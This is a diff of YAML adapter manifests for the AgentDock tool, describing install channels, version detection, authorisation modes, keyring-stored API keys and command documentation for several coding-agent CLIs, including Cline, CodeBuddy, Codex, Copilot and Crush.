# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Cline(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||
# ============================================================
|
||||
id: cline
|
||||
name: Cline
|
||||
name_zh: Cline
|
||||
vendor: Cline
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: Apache-2.0
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 原生支持(npm,非 WSL)
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://github.com/cline/cline
|
||||
docs: https://docs.cline.bot/
|
||||
allowed_hosts: [registry.npmjs.org, github.com, docs.cline.bot]
|
||||
|
||||
runtime_deps:
|
||||
- id: node
|
||||
semver_range: ">=22"
|
||||
required_for: [install, run]
|
||||
|
||||
install:
|
||||
preferred: npm
|
||||
channels:
|
||||
- id: npm
|
||||
platforms: [windows, linux]
|
||||
command: [npm, install, -g, "cline"]
|
||||
package: cline
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: npm
|
||||
platforms: [windows, linux]
|
||||
command: [npm, install, -g, "cline@nightly"]
|
||||
package: cline
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: cline
|
||||
version_args: ["--version"]
|
||||
|
||||
update:
|
||||
method: npm_update
|
||||
command: [npm, update, -g, "cline"]
|
||||
source:
|
||||
kind: npm
|
||||
package: cline
|
||||
|
||||
uninstall:
|
||||
method: npm_uninstall
|
||||
command: [npm, uninstall, -g, "cline"]
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: browser_oauth
|
||||
command: [cline]
|
||||
notes_zh: 运行 cline 后按提示浏览器登录(各家模型账号)
|
||||
- mode: api_key
|
||||
env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY]
|
||||
notes_zh: 各家 API Key(存入系统钥匙串;Cline 密钥本就进系统 keychain)
|
||||
|
||||
# 配置机制(调研底稿 Cline 章节):用户级 ~/.cline/data/settings/providers.json(JSON)。
|
||||
# 密钥已用系统 keychain(与 AgentDock 密钥库策略一致)。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.cline/data/settings/providers.json"
|
||||
format: json
|
||||
scope: user
|
||||
environment:
|
||||
- key: ANTHROPIC_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 ANTHROPIC_API_KEY 等环境变量)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://docs.cline.bot/
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: dependency.node_below_min
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `cline` 登录,或用 `cline -p "提示词"` 无头执行。
|
||||
install_zh: 推荐 `npm install -g cline`(本适配器默认渠道,需 Node 22+);另有 nightly 通道 `npm install -g cline@nightly`。
|
||||
auth_zh: ① 浏览器登录(运行 `cline` 后按提示);② API Key(各家模型,存入系统钥匙串);③ 本地模型(Ollama/LM Studio 等)。密钥本就进系统 keychain。
|
||||
commands:
|
||||
- cmd: cline
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: cline -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: cline --model <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: cline --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式执行后退出
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --allowedTools
|
||||
desc_zh: 预授权工具
|
||||
- param: --continue
|
||||
desc_zh: 续接最近会话
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 密钥存入系统 keychain(与 AgentDock 密钥库策略一致,不额外落明文)
|
||||
- providers.json 多 provider 高级配置本表单不覆盖,以官方文档为准
|
||||
|
||||
+161
-21
@@ -1,28 +1,168 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · CodeBuddy Code(腾讯)(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 + 真机实测
|
||||
# 真机:codebuddy --version → 2.132.0;配置 ~/.codebuddy/settings.json(JSON,实测补齐)
|
||||
# 双升级路径:npm(@tencent-ai/codebuddy-code)/ 原生(codebuddy install stable)
|
||||
# ============================================================
|
||||
id: codebuddy
|
||||
name: CodeBuddy Code
|
||||
name_zh: CodeBuddy Code
|
||||
vendor: 腾讯
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: 专有(仅官方渠道安装、不重打包)
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 原生支持(npm / 原生线,非 WSL)
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://codebuddy.ai
|
||||
docs: https://codebuddy.ai/docs
|
||||
allowed_hosts: [registry.npmjs.org, codebuddy.ai, github.com]
|
||||
|
||||
runtime_deps:
|
||||
- id: node
|
||||
semver_range: ">=22"
|
||||
required_for: [install, run]
|
||||
|
||||
install:
|
||||
preferred: npm
|
||||
channels:
|
||||
- id: npm
|
||||
platforms: [windows, linux]
|
||||
command: [npm, install, -g, "@tencent-ai/codebuddy-code"]
|
||||
package: "@tencent-ai/codebuddy-code"
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [windows, linux]
|
||||
command: [codebuddy, install, stable]
|
||||
package: codebuddy-native
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: codebuddy
|
||||
version_args: ["--version"]
|
||||
version_regex: "^v?(\\d+\\.\\d+\\.\\d+)"
|
||||
|
||||
update:
|
||||
method: npm_update
|
||||
command: [npm, update, -g, "@tencent-ai/codebuddy-code"]
|
||||
source:
|
||||
kind: npm
|
||||
package: "@tencent-ai/codebuddy-code"
|
||||
|
||||
uninstall:
|
||||
method: npm_uninstall
|
||||
command: [npm, uninstall, -g, "@tencent-ai/codebuddy-code"]
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: browser_oauth
|
||||
command: [codebuddy]
|
||||
notes_zh: 运行 codebuddy 后按提示用微信扫码登录(也可在会话中输入 /login)
|
||||
- mode: local_tui
|
||||
command: [codebuddy]
|
||||
notes_zh: 在一次性终端窗口内完成微信扫码登录
|
||||
|
||||
# 配置机制(真机实测补齐):~/.codebuddy/settings.json(JSON)。
|
||||
# 官方未披露配置文件位置,本波真机定位到 ~/.codebuddy/settings.json;
|
||||
# 主要配置经 `codebuddy config set [-g] <key> <value>` 管理,API Key 未确认(以微信登录为主)。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.codebuddy/settings.json"
|
||||
format: json
|
||||
scope: user
|
||||
environment: []
|
||||
fields:
|
||||
- id: model
|
||||
label_zh: 默认模型
|
||||
group: common
|
||||
help_zh: 默认模型 ID(对应 --model 参数,如 deepseek-v4-pro / glm-5.3 等);可用 `codebuddy config set -g model <id>` 设置
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://codebuddy.ai/docs
|
||||
- id: theme
|
||||
label_zh: 主题
|
||||
group: common
|
||||
help_zh: 界面主题(对应 `codebuddy config set -g theme <dark|light>`)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: enum
|
||||
storage: file
|
||||
docs_url: https://codebuddy.ai/docs
|
||||
options:
|
||||
- value: dark
|
||||
label_zh: 深色
|
||||
- value: light
|
||||
label_zh: 浅色
|
||||
- id: sandbox.enabled
|
||||
label_zh: 沙箱模式
|
||||
group: advanced
|
||||
help_zh: 官方键 sandbox.enabled,是否启用沙箱(默认关闭)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: bool
|
||||
storage: file
|
||||
docs_url: https://codebuddy.ai/docs
|
||||
|
||||
models:
|
||||
list:
|
||||
- id: deepseek-v4-pro
|
||||
label_zh: DeepSeek V4 Pro
|
||||
- id: glm-5.3
|
||||
label_zh: GLM 5.3
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: dependency.node_below_min
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `codebuddy` 微信扫码登录,或用 `codebuddy -p "提示词"` 无头执行。
|
||||
install_zh: 双升级路径:① npm `@tencent-ai/codebuddy-code`(本适配器默认渠道,需 Node 22+);② 原生线 `codebuddy install stable`。两线均走官方渠道,不重打包。
|
||||
auth_zh: 微信扫码登录(运行 `codebuddy` 后按提示,或在会话中输入 /login)。API Key 官方未确认,本适配器不提供。
|
||||
commands:
|
||||
- cmd: codebuddy
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: codebuddy -p "提示词"
|
||||
desc_zh: 无头单次执行(--print)
|
||||
- cmd: codebuddy --output-format json -p "提示词"
|
||||
desc_zh: 以 JSON 输出
|
||||
- cmd: codebuddy --model <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: codebuddy config set -g theme dark
|
||||
desc_zh: 修改全局配置项
|
||||
- cmd: codebuddy install stable
|
||||
desc_zh: 安装原生线稳定版
|
||||
- cmd: codebuddy update
|
||||
desc_zh: 检查并安装更新
|
||||
- cmd: codebuddy doctor
|
||||
desc_zh: 自更新健康检查
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式,执行后退出
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式(text / json / stream-json)
|
||||
- param: --model
|
||||
desc_zh: 指定模型 ID
|
||||
- param: -c / --continue
|
||||
desc_zh: 续接最近会话
|
||||
- param: -y / --dangerously-skip-permissions
|
||||
desc_zh: 跳过权限检查(仅限无外网沙箱)
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 配置路径官方未披露,本波真机实测定位到 ~/.codebuddy/settings.json
|
||||
- API Key 官方未确认,本适配器仅提供微信登录,不提供 API Key 配置
|
||||
- 专有许可:只引导官方渠道安装,不重打包、不修改二进制
|
||||
|
||||
+82
-13
@@ -1,5 +1,5 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器 · OpenAI Codex CLI(Wave 2 全字段)
|
||||
# AgentDock 适配器 · OpenAI Codex CLI(Wave 2.1)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md §1 + 架构 §3.3
|
||||
# ============================================================
|
||||
id: codex
|
||||
@@ -7,7 +7,7 @@ name: Codex CLI
|
||||
name_zh: Codex CLI
|
||||
vendor: OpenAI
|
||||
status: available
|
||||
adapter_version: 1.0.0
|
||||
adapter_version: 1.1.0
|
||||
license: Apache-2.0
|
||||
|
||||
platforms:
|
||||
@@ -21,7 +21,7 @@ platforms:
|
||||
official:
|
||||
homepage: https://github.com/openai/codex
|
||||
docs: https://learn.chatgpt.com/docs/codex/cli
|
||||
allowed_hosts: [chatgpt.com, github.com, releases.openai.com, registry.npmjs.org]
|
||||
allowed_hosts: [chatgpt.com, github.com, api.github.com, releases.openai.com, registry.npmjs.org, api.openai.com]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
@@ -56,6 +56,9 @@ detect:
|
||||
update:
|
||||
method: npm_update
|
||||
command: [npm, update, -g, "@openai/codex"]
|
||||
source:
|
||||
kind: npm
|
||||
package: "@openai/codex"
|
||||
|
||||
uninstall:
|
||||
method: npm_uninstall
|
||||
@@ -75,7 +78,15 @@ authorization:
|
||||
command: [codex, login, --with-api-key]
|
||||
env_keys: [OPENAI_API_KEY]
|
||||
notes_zh: API Key 从系统密钥库读取,经 stdin 注入,不进 argv
|
||||
test:
|
||||
url: https://api.openai.com/v1/models
|
||||
key_header: Authorization
|
||||
bearer: true
|
||||
|
||||
# 配置机制(调研底稿 §1「配置机制」):用户级 ~/.codex/config.toml(TOML)
|
||||
# 官方确认可配:model / approval_policy / sandbox_mode / model_reasoning_effort /
|
||||
# web_search / log_dir / [model_providers.<id>](base_url / env_key / wire_api)/
|
||||
# 简化键 openai_base_url。表单字段名与官方文档一致。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.codex/config.toml"
|
||||
@@ -85,31 +96,59 @@ configuration:
|
||||
- key: OPENAI_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
- key: OPENAI_BASE_URL
|
||||
sensitive: false
|
||||
maps_to_field: openai_base_url
|
||||
fields:
|
||||
- id: model
|
||||
label_zh: 默认模型
|
||||
help_zh: Codex 使用的默认模型(如 gpt-5.6-terra)
|
||||
group: common
|
||||
help_zh: 官方键 model,如 gpt-5.6-terra(对应官方 config-basic 文档)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://learn.chatgpt.com/docs/config-file/config-basic
|
||||
- id: approval_policy
|
||||
label_zh: 审批策略
|
||||
group: advanced
|
||||
help_zh: 官方键 approval_policy,控制执行命令前是否需人工确认
|
||||
required: false
|
||||
sensitive: false
|
||||
type: enum
|
||||
storage: file
|
||||
docs_url: https://learn.chatgpt.com/docs/config-file/config-basic
|
||||
options:
|
||||
- value: untrusted
|
||||
label_zh: 不信任(全部确认)
|
||||
- value: on-failure
|
||||
label_zh: 失败时确认
|
||||
- value: on-request
|
||||
label_zh: 每次请求确认
|
||||
- value: never
|
||||
label_zh: 永不确认
|
||||
- id: openai_base_url
|
||||
label_zh: Base URL
|
||||
help_zh: 自定义 OpenAI 兼容端点(简化键)
|
||||
group: advanced
|
||||
help_zh: 官方简化键 openai_base_url,自定义 OpenAI 兼容端点/网关/代理
|
||||
required: false
|
||||
sensitive: false
|
||||
type: url
|
||||
storage: file
|
||||
docs_url: https://learn.chatgpt.com/docs/config-file/config-advanced
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
help_zh: 存入系统密钥库,写入后仅显示「已保存」
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应环境变量 OPENAI_API_KEY),写入后仅显示「已保存」;也可用 codex login --with-api-key 注入
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://learn.chatgpt.com/docs/config-file/config-advanced
|
||||
|
||||
models:
|
||||
list:
|
||||
- id: gpt-5.6-terra
|
||||
label_zh: GPT-5.6 Terra(默认)
|
||||
- id: gpt-5
|
||||
label_zh: GPT-5
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
@@ -118,14 +157,44 @@ diagnostics:
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `codex` 登录账号,或用 `codex exec "任务"` 无头执行。
|
||||
quickstart_zh: 安装后运行 `codex` 登录 ChatGPT 账号,或用 `codex exec "任务"` 无头执行。
|
||||
install_zh: 推荐 `npm install -g @openai/codex`(本适配器默认渠道);也可走官方 PowerShell 脚本(irm https://chatgpt.com/codex/install.ps1)或 GitHub Releases 二进制。
|
||||
auth_zh: 三种授权:① 浏览器登录 ChatGPT 账号(`codex login`,需订阅计划);② 设备码(`codex login --device-auth`);③ API Key(`codex login --with-api-key`,从 stdin 读取,或经 OPENAI_API_KEY 环境变量)。
|
||||
commands:
|
||||
- cmd: codex
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: codex exec "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
desc_zh: 无头单次执行(别名 codex e)
|
||||
- cmd: codex exec --json "提示词"
|
||||
desc_zh: 以 JSONL 事件流输出
|
||||
- cmd: codex exec --output-schema <schema>
|
||||
desc_zh: 约束输出为指定 JSON Schema
|
||||
- cmd: codex exec -o 文件
|
||||
desc_zh: 将输出写入文件
|
||||
- cmd: codex exec --sandbox
|
||||
desc_zh: 在沙箱中执行
|
||||
- cmd: codex login
|
||||
desc_zh: 浏览器登录 ChatGPT 账号
|
||||
- cmd: codex login --device-auth
|
||||
desc_zh: 设备码流程登录
|
||||
- cmd: codex login --with-api-key
|
||||
desc_zh: 从 stdin 读取 API Key 登录
|
||||
- cmd: codex login status
|
||||
desc_zh: 查询登录状态
|
||||
updated_at: "2026-08-24"
|
||||
desc_zh: 查询当前登录状态
|
||||
params:
|
||||
- param: --json
|
||||
desc_zh: 以 JSONL 事件流输出(exec 子命令)
|
||||
- param: --output-schema
|
||||
desc_zh: 约束输出为指定 JSON Schema
|
||||
- param: -o / --output
|
||||
desc_zh: 输出写入文件
|
||||
- param: --ephemeral
|
||||
desc_zh: 使用不落盘的临时会话
|
||||
- param: --sandbox
|
||||
desc_zh: 在沙箱中执行
|
||||
- param: --device-auth
|
||||
desc_zh: 使用设备码流程登录(login 子命令)
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- --version 官方文档未确认,适配器已标 version_unconfirmed 并实测兜底
|
||||
- 表单覆盖常用配置键;model_providers 表等高级自定义 provider 请以官方文档为准(见上方链接)
|
||||
|
||||
+113
-21
@@ -1,28 +1,120 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · GitHub Copilot CLI(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||
# 备注:登录方式以本机终端 /login 为主;无头用 PAT 环境变量授权;需 Copilot 订阅。
|
||||
# ============================================================
|
||||
id: copilot
|
||||
name: Copilot CLI
|
||||
name_zh: Copilot CLI
|
||||
vendor: GitHub
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: 专有(仅官方渠道安装、不重打包)
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: winget 渠道需 PowerShell 6+(winget 安装 GitHub.Copilot)
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://github.com/features/copilot
|
||||
docs: https://docs.github.com/copilot
|
||||
allowed_hosts: [github.com, docs.github.com, registry.npmjs.org]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
install:
|
||||
preferred: winget
|
||||
channels:
|
||||
- id: winget
|
||||
platforms: [windows]
|
||||
command: [winget, install, GitHub.Copilot]
|
||||
package: GitHub.Copilot
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: npm
|
||||
platforms: [windows, linux]
|
||||
command: [npm, install, -g, "@github/copilot"]
|
||||
package: "@github/copilot"
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: copilot
|
||||
version_args: ["--version"]
|
||||
version_regex: "(\\d+\\.\\d+\\.\\d+)"
|
||||
|
||||
update:
|
||||
method: winget_upgrade
|
||||
command: [winget, upgrade, GitHub.Copilot]
|
||||
source:
|
||||
kind: npm
|
||||
package: "@github/copilot"
|
||||
|
||||
uninstall:
|
||||
method: package_manager
|
||||
command: [winget, uninstall, GitHub.Copilot]
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: local_tui
|
||||
command: [copilot]
|
||||
notes_zh: 运行 copilot 后输入 /login 在终端内登录 GitHub 账号
|
||||
- mode: api_key
|
||||
env_keys: [GH_TOKEN]
|
||||
notes_zh: 无头授权:设置 GitHub PAT(GH_TOKEN)环境变量后无需交互登录
|
||||
|
||||
# 配置机制(调研底稿 Copilot 章节):JSON + 环境变量(COPILOT_*)。
|
||||
# 无头授权用 PAT 环境变量;交互登录经 /login 写回本机会话。
|
||||
configuration:
|
||||
files: []
|
||||
environment:
|
||||
- key: GH_TOKEN
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
- key: COPILOT_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: api_key
|
||||
label_zh: 访问令牌(PAT)
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 GH_TOKEN / COPILOT_API_KEY),用于无头授权;需 Copilot 订阅
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://docs.github.com/copilot
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `copilot`,在终端输入 `/login` 登录 GitHub 账号;或用 `copilot -p "提示词"` 无头执行。
|
||||
install_zh: Windows 推荐 winget `GitHub.Copilot`(需 PowerShell 6+);双端可用 npm `@github/copilot`。Ubuntu 另有官方脚本 / brew 渠道。
|
||||
auth_zh: ① 本机终端登录:运行 `copilot` 输入 /login(交互);② 无头 PAT:设置 GH_TOKEN(或 COPILOT_API_KEY)环境变量。需要有效 Copilot 订阅(个人/商业/企业)。
|
||||
commands:
|
||||
- cmd: copilot
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: copilot -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: copilot --help
|
||||
desc_zh: 查看帮助
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式执行后退出
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 需要有效 Copilot 订阅(免费 GitHub 账号不提供 Copilot CLI 完整能力)
|
||||
- 真机 `copilot --version` 返回「GitHub Copilot CLI 1.0.80.」,版本检测已据此确认
|
||||
- winget 渠道需 PowerShell 6+(见 platforms.notes)
|
||||
|
||||
+137
-21
@@ -1,28 +1,144 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Crush(Charm)(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||
# 注意:crushrc 是 Bash 语法配置,走 Wave 1 专用解析器(只识别内建赋值,不执行任意脚本)。
|
||||
# ============================================================
|
||||
id: crush
|
||||
name: Crush
|
||||
name_zh: Crush
|
||||
vendor: Charm
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: FSL(Functional Source License,仅引导官方安装、不重分发源码)
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: winget / scoop / Releases 渠道
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://github.com/charmbracelet/crush
|
||||
docs: https://github.com/charmbracelet/crush
|
||||
allowed_hosts: [github.com, api.github.com, charm.sh]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
install:
|
||||
preferred: winget
|
||||
channels:
|
||||
- id: winget
|
||||
platforms: [windows]
|
||||
command: [winget, install, charmbracelet.crush]
|
||||
package: charmbracelet.crush
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: npm
|
||||
platforms: [windows, linux]
|
||||
command: [npm, install, -g, "@charmland/crush"]
|
||||
package: "@charmland/crush"
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: apt
|
||||
platforms: [linux]
|
||||
command: [sudo, apt-get, install, -y, crush]
|
||||
package: crush
|
||||
elevate: required
|
||||
elevate_reason_zh: 官方 apt 仓库(GPG)安装需要管理员权限
|
||||
post_checks: [detect]
|
||||
- id: github_release
|
||||
platforms: [windows, linux]
|
||||
package: crush
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: crush
|
||||
version_args: ["--version"]
|
||||
version_unconfirmed: true
|
||||
|
||||
update:
|
||||
method: winget_upgrade
|
||||
command: [winget, upgrade, charmbracelet.crush]
|
||||
source:
|
||||
kind: github
|
||||
repo: charmbracelet/crush
|
||||
|
||||
uninstall:
|
||||
method: package_manager
|
||||
command: [winget, uninstall, charmbracelet.crush]
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: api_key
|
||||
env_keys: [OPENAI_API_KEY, ANTHROPIC_API_KEY]
|
||||
notes_zh: 各家模型 API Key(环境变量注入);crushrc 内亦可用 export 语句
|
||||
|
||||
# 配置机制:crushrc 是 Bash 语法配置(~/.config/crush/crushrc)。
|
||||
# 走 Wave 1 专用解析器:只识别内建赋值(export KEY=value 等),不执行任意脚本,未知行原样保留。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.config/crush/crushrc"
|
||||
format: crushrc
|
||||
scope: user
|
||||
environment:
|
||||
- key: OPENAI_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 OPENAI_API_KEY 等环境变量);crushrc 内也可用 export 注入
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://github.com/charmbracelet/crush
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
